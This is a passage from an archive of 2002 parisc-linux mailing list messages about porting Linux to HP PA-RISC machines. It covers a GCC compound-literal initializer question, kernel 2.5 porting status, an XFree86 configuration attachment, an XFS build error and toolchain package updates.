> /* compile with gcc -c foo.c */
> 
> typedef struct {
>         volatile unsigned int lock;
> } spinlock_t;
> 
> typedef struct {
>         spinlock_t lock;
>         volatile int counter;
> } rwlock_t;
> 
> void foo(void)
> {
>         static rwlock_t x = (rwlock_t) { (spinlock_t) { 1 }, 0 };
> }

Except for sizeof, cast operators in initializers for static variables
can only be used to convert arithmetic types.  GCC allows non-constant
initializers for automatic variables.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 status
Date: Tue, 15 Oct 2002 18:52:14 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20021015225214.GC26368@systemhalted>
References: <20021015211627.A15163@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621834 15695 80.91.229.3 (22 Nov 2014 02:03:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:54 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 16:52:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23BE84845
	for <parisc-linux@parisc-linux.org>; Tue, 15 Oct 2002 16:52:08 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 181aXu-0007Ce-00; Tue, 15 Oct 2002 18:52:14 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20021015211627.A15163@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (60% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16502

> In an attempt to get more people involved in the 2.5 porting effort, I'm
> going to try to send out weekly updates of what's going on.  Feel free to
> respond to things and point out where I'm wrong.

Thanks Willy :)
 
>  - Serial code not working for a 712 (willy)
>  - the fix for do_fork needs checking
>  - stifb doesn't compile

Didn't Helge just fix this?

>  - mux driver needs to be forward ported from 2.4 (rbrad)
>  - merge 2.5.42
>  - think the tcpdiag_cookie patch in our tree is now obsolete
>  - need to get an official number for PDC_CONS or MUX (any problem with using
> 	the same number for both?) (rbrad)
>  - send .text.init -> .init.text change to Linus (willy)
>  - send tulip changes to jgarzik (grant)
>  - figure out why we have genrtc 1.05 in our tree when linus has 1.06
>  - do a better job of vmlinux{32,64}.lds
>  - review diff vs 2.4 for additional changes

e.g. Things in 2.4 not in 2.5?

>  - review diff vs 2.5 for changes which still need to be sent to Linus.
> would these lists be more useful in html or would they just bitrot?

Sending things to the mailing list gets you both:
- HTML based ref. of list archives.
- Ever present reminder in my parisc-linux folder.

Here's to getting all of the PA changes into 2.5! :)

c.



From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yves Bodack" <bodack@stud.fh-heilbronn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 doesn't run on 700
Date: Wed, 16 Oct 2002 01:26:57 +0200
Lines: 152
Approved: news@gmane.org
Message-ID: <001e01c274a2$5ae73120$1f96078d@acid>
References: <20021015024957.67971.qmail@web40101.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_001B_01C274B3.1E20A8A0"
X-Trace: ger.gmane.org 1416621834 15700 80.91.229.3 (22 Nov 2014 02:03:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:54 +0000 (UTC)
To: "Roland Hauff" <rhauff@yahoo.com>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 17:26:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns1.rz.fh-heilbronn.de (dns1.rz.fh-heilbronn.de [141.7.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4393E484B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 17:26:07 -0600 (MDT)
Original-Received: from lisa.stud.fh-heilbronn.de (lisa.stud.fh-heilbronn.de [141.7.11.14])
	by dns1.rz.fh-heilbronn.de (8.12.2/8.12.2) with ESMTP id g9FNQ3Ax024150;
	Wed, 16 Oct 2002 01:26:03 +0200 (MET DST)
Original-Received: from acid (acid.stuwo.fh-heilbronn.de [141.7.150.31])
	by lisa.stud.fh-heilbronn.de (8.12.2/8.12.2) with SMTP id g9FNQ2IC005344;
	Wed, 16 Oct 2002 01:26:03 +0200 (MEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16503

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C274B3.1E20A8A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi,
take a look at your dmesg output. There you find something like:
model 9000/735
CPU(s): 1 x PA7100 (PCX-T) at 125.000000 MHz
STI GSC/PCI graphics driver version 0.9
STI device: HPA1439A
fb0: stifb 1280x1024-32 frame buffer device, id: 26d148ee, mmio: 0xf8100000

So it tells me I have a HP 9000/735/125 with 1280x1024x32 framebuffer...
On http://www.openpa.net/index.html you find descriptions and pictures of HP
700 machines. I also attached my XFree86conf-4, that should work, but you
may have to change color depth.

Greetings,
Yves...

> Hi,
> I just installed Debian 3.0 on an Apollo Series 700.
> I'm not sure of the model, but it has 96 Meg memory
> and a beautiful 19" 1280x1024 Sync on Green monitor.
>
> I have gotten it to boot fine, but cannot get xfree86
> configured for graphics.  It does not come up with any
> info during the install, and I cannot find any info on
> what graphics system it has.  I did see on a hardware
> list that it may have Coral SGC, but do not see this
> supported by XFree86.
>
> Thank you!
> Roland Hauff


------=_NextPart_000_001B_01C274B3.1E20A8A0
Content-Type: application/octet-stream;
	name="XF86Config-4"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="XF86Config-4"

#=0A=
# This XFree86 config files is usable for HIL and USB keyboards and mice=0A=
# by Helge Deller <deller@gmx.de> 2002-07-06=0A=
#=0A=
# Please adjust the "depth" and "Modes" entries below in the Screen =
Section=0A=
# acording to your system configuration.=0A=
# =0A=
# EXAMPLE:=0A=
# Run the following command on the bash prompt:=0A=
#=0A=
# dmesg | grep stifb=0A=
#=0A=
# and my system gives:=0A=
# fb0: stifb 1280x1024-8 frame buffer device, id: 2b4ded6d, mmio: =
0xf8100000=0A=
# so I'm using "Depth 8" and "Modes 1280x1024" below.=0A=
#=0A=
=0A=
Section "Files"=0A=
	FontPath	"unix/:7100"			# local font server=0A=
	# if the local font server has problems, we can fall back on these=0A=
	FontPath	"/usr/lib/X11/fonts/misc"=0A=
	FontPath	"/usr/lib/X11/fonts/cyrillic"=0A=
	FontPath	"/usr/lib/X11/fonts/100dpi/:unscaled"=0A=
	FontPath	"/usr/lib/X11/fonts/75dpi/:unscaled"=0A=
	FontPath	"/usr/lib/X11/fonts/Type1"=0A=
	FontPath	"/usr/lib/X11/fonts/Speedo"=0A=
	FontPath	"/usr/lib/X11/fonts/100dpi"=0A=
	FontPath	"/usr/lib/X11/fonts/75dpi"=0A=
EndSection=0A=
=0A=
Section "Module"=0A=
	Load	"GLcore"=0A=
	Load	"bitmap"=0A=
	Load	"dbe"=0A=
	Load	"ddc"=0A=
	Load	"dri"=0A=
	Load	"extmod"=0A=
	Load	"freetype"=0A=
	Load	"glx"=0A=
	Load	"int10"=0A=
	Load	"pex5"=0A=
	Load	"record"=0A=
	Load	"speedo"=0A=
	Load	"type1"=0A=
	Load	"vbe"=0A=
	Load	"xie"=0A=
EndSection=0A=
=0A=
Section "InputDevice"=0A=
	Identifier	"Keyboard"=0A=
	Driver		"keyboard"=0A=
	Option		"CoreKeyboard"=0A=
#	Option		"XkbLayout"	"de"=0A=
EndSection=0A=
=0A=
Section "InputDevice"=0A=
	Identifier	"Mouse"=0A=
	Driver		"mouse"=0A=
	Option		"CorePointer"=0A=
	Option		"Device"		"/dev/input/mice"=0A=
	Option		"Protocol"		"ImPS/2"=0A=
	Option		"ZAxisMapping"		"4 5"=0A=
EndSection=0A=
=0A=
					     =0A=
Section "Device"=0A=
	Identifier	"Generic Video Card"=0A=
	Driver		"fbdev"=0A=
	Option		"UseFBDev"		"true"=0A=
EndSection=0A=
=0A=
Section "Monitor"=0A=
	Identifier	"Generic Monitor"=0A=
	HorizSync	30-70=0A=
	VertRefresh	50-160=0A=
	Option		"DPMS"=0A=
EndSection=0A=
=0A=
Section "Screen"=0A=
	Identifier	"Default Screen"=0A=
	Device		"Generic Video Card"=0A=
	Monitor		"Generic Monitor"=0A=
	DefaultDepth	24=0A=
	DefaultFbBpp	32=0A=
	SubSection "Display"=0A=
		Depth		24		# 8 or 24=0A=
		Modes		"1280x1024"	# "1024x768" or "1280x1024"=0A=
	EndSubSection=0A=
EndSection=0A=
=0A=
Section "ServerLayout"=0A=
	Identifier	"Default Layout"=0A=
	Screen		"Default Screen"=0A=
	InputDevice	"Keyboard"=0A=
	InputDevice	"Mouse"=0A=
EndSection=0A=
=0A=
Section "DRI"=0A=
	Mode	0666=0A=
EndSection=0A=

------=_NextPart_000_001B_01C274B3.1E20A8A0--



From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] possible gcc-3.2 bug?
Date: Tue, 15 Oct 2002 18:32:31 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20021016013231.GS5602__28744.8720926934$1416621835$gmane$org@tausq.org>
References: <20021015070336.GJ24881@tausq.org> <200210152137.g9FLbmkY004459@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621835 15708 80.91.229.3 (22 Nov 2014 02:03:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:55 +0000 (UTC)
Cc: debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 19:30:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77657482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 19:30:21 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0920FCD83C; Tue, 15 Oct 2002 18:32:32 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200210152137.g9FLbmkY004459@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16504

> > ---------------------8<-----------------------
> > /* compile with gcc -c foo.c */
> > 
> > typedef struct {
> >         volatile unsigned int lock;
> > } spinlock_t;
> > 
> > typedef struct {
> >         spinlock_t lock;
> >         volatile int counter;
> > } rwlock_t;
> > 
> > void foo(void)
> > {
> >         static rwlock_t x = (rwlock_t) { (spinlock_t) { 1 }, 0 };
> > }
> 
> Except for sizeof, cast operators in initializers for static variables
> can only be used to convert arithmetic types.  GCC allows non-constant
> initializers for automatic variables.

well, it's doesn't seem to be very consistent about it then...

static rwlock_t x = (rwlock_t) { { 1 }, 0 };
is ok

static rwlock_t x = { (spinlock_t) { 1 }, 0 };
is also ok

only when you have both casts does it fail...

randolph


From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] possible gcc-3.2 bug?
Date: Tue, 15 Oct 2002 22:24:23 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200210160224.g9G2OO0I004733__42263.1526984789$1416621835$gmane$org@hiauly1.hia.nrc.ca>
References: <20021016013231.GS5602@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621835 15724 80.91.229.3 (22 Nov 2014 02:03:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:55 +0000 (UTC)
Cc: debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 20:24:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30415482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 20:24:28 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9G2OO00004734;
	Tue, 15 Oct 2002 22:24:25 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9G2OO0I004733;
	Tue, 15 Oct 2002 22:24:24 -0400 (EDT)
In-Reply-To: <20021016013231.GS5602@tausq.org> from "Randolph Chung" at Oct 15, 2002 06:32:31 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16505

> well, it's doesn't seem to be very consistent about it then...
> 
> static rwlock_t x = (rwlock_t) { { 1 }, 0 };
> is ok
> 
> static rwlock_t x = { (spinlock_t) { 1 }, 0 };
> is also ok
> 
> only when you have both casts does it fail...

Ok, I think I see what is going on.  "(rwlock_t) { { 1 }, 0 }" is
a compound literal (constructor expression).  GCC allows initialization
of static objects by compound literals.  This is not possible in ISO C99.

The initializer list of the compound literal must be constant.  Thus,
nesting of compound literals isn't possible.  So, when you have two
casts in the initializer you get the error.  For more info, look at
extend.texi.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFS (CVS release problem)
Date: Wed, 16 Oct 2002 16:45:34 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <3DA56CAE000020FE@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621835 15732 80.91.229.3 (22 Nov 2014 02:03:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 16 07:49:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F4D24829
	for <parisc-linux@parisc-linux.org>; Wed, 16 Oct 2002 07:49:14 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 16 Oct 2002 15:45:34 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16506

Hi all,

For kernel 2.4.19 I prefer to go to cvs release of xfs;?

So I build a 'patch' against vanilla k-2.4.19 and apply it against k-2.4.19-pa22.

(Just met a problem of conflict: see early in this ml)

But the build failled because:
"../xfs_bmap_btree.h:661:35: "0" may not appear in macro parameter list"

and in this header I found:
"...
#else
...
#define xfs_bmbt_disk_set_allf(r, 0, b, c, v) \
        xfs_bmbt_set_allf(r, 0, b, c, v)
#endif
...
"

just above there are:
void
xfs_bmbt_disk_set_allf(
        xfs_bmbt_rec_t  *r,
        xfs_fileoff_t   o,
        xfs_fsblock_t   b,
        xfs_filblks_t   c,
        xfs_exntst_t    v);

What do you think?
(is it a typo to be reported or a problem specific to hppa gcc?)

Thanks in advance for advise,
    Joel




From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New hppa64 toolchain available
Date: Wed, 16 Oct 2002 17:40:00 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20021017004000.GT5602@tausq.org>
References: <B6610D13-DFA2-11D6-A1B0-0030656F07A2@esiee.fr>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621835 15735 80.91.229.3 (22 Nov 2014 02:03:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:55 +0000 (UTC)
Cc: PA/Linux <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 16 18:38:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9789E4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Oct 2002 18:38:17 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B521BCD83C; Wed, 16 Oct 2002 17:40:00 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <B6610D13-DFA2-11D6-A1B0-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16507

> ftp://ftp.parisc-linux.org/unofficial-debs/gcc-hppa64_3.0.4ds3- 
> 7_hppa.deb

this is now superceded by

ftp://ftp.parisc-linux.org/unofficial-debs/gcc-hppa64_3.0.4ds3-7.1_hppa.deb

which fixes a problem when using -nostdinc (e.g. when building a kernel)

> Thanks Randolph Chung for making it a debian package :)

and thanks to thibaut for pointing out to me that it's broken :-)

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arto Jantunen <viiru@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000 problems
Date: Thu, 17 Oct 2002 10:25:49 +0300
Lines: 7
Approved: news@gmane.org
Message-ID: <20021017072549.GA28930@mail1.dt-link.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621836 15736 80.91.229.3 (22 Nov 2014 02:03:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 17 01:26:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1 (mail.helppoheikki.org [217.116.164.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FB214829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Oct 2002 01:26:35 -0600 (MDT)
Original-Received: by mail1 (Postfix, from userid 1000)
	id 583F01702E; Thu, 17 Oct 2002 10:25:49 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16508

My HP9000/R390 crashes when running a 64-bit kernel (it freezes after
"Enumerating EISA bus") and also crashes when running a 32-bit SMP
kernel. Is anyone working on fixing Linux for a machine like this?

--
Arto Jantunen


From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland Hauff <rhauff@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 doesn't run on 700
Date: Thu, 17 Oct 2002 06:28:57 -0700 (PDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <20021017132857.50679.qmail@web40112.mail.yahoo.com>
References: <001e01c274a2$5ae73120$1f96078d@acid>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621836 15740 80.91.229.3 (22 Nov 2014 02:03:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:56 +0000 (UTC)
To: Yves Bodack <bodack@stud.fh-heilbronn.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 17 07:29:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web40112.mail.yahoo.com (web40112.mail.yahoo.com [66.218.78.46])
	by dsl2.external.hp.com (Postfix) with SMTP id B7F0D4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Oct 2002 07:29:00 -0600 (MDT)
Original-Received: from [66.44.150.10] by web40112.mail.yahoo.com via HTTP; Thu, 17 Oct 2002 06:28:57 PDT
In-Reply-To: <001e01c274a2$5ae73120$1f96078d@acid>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
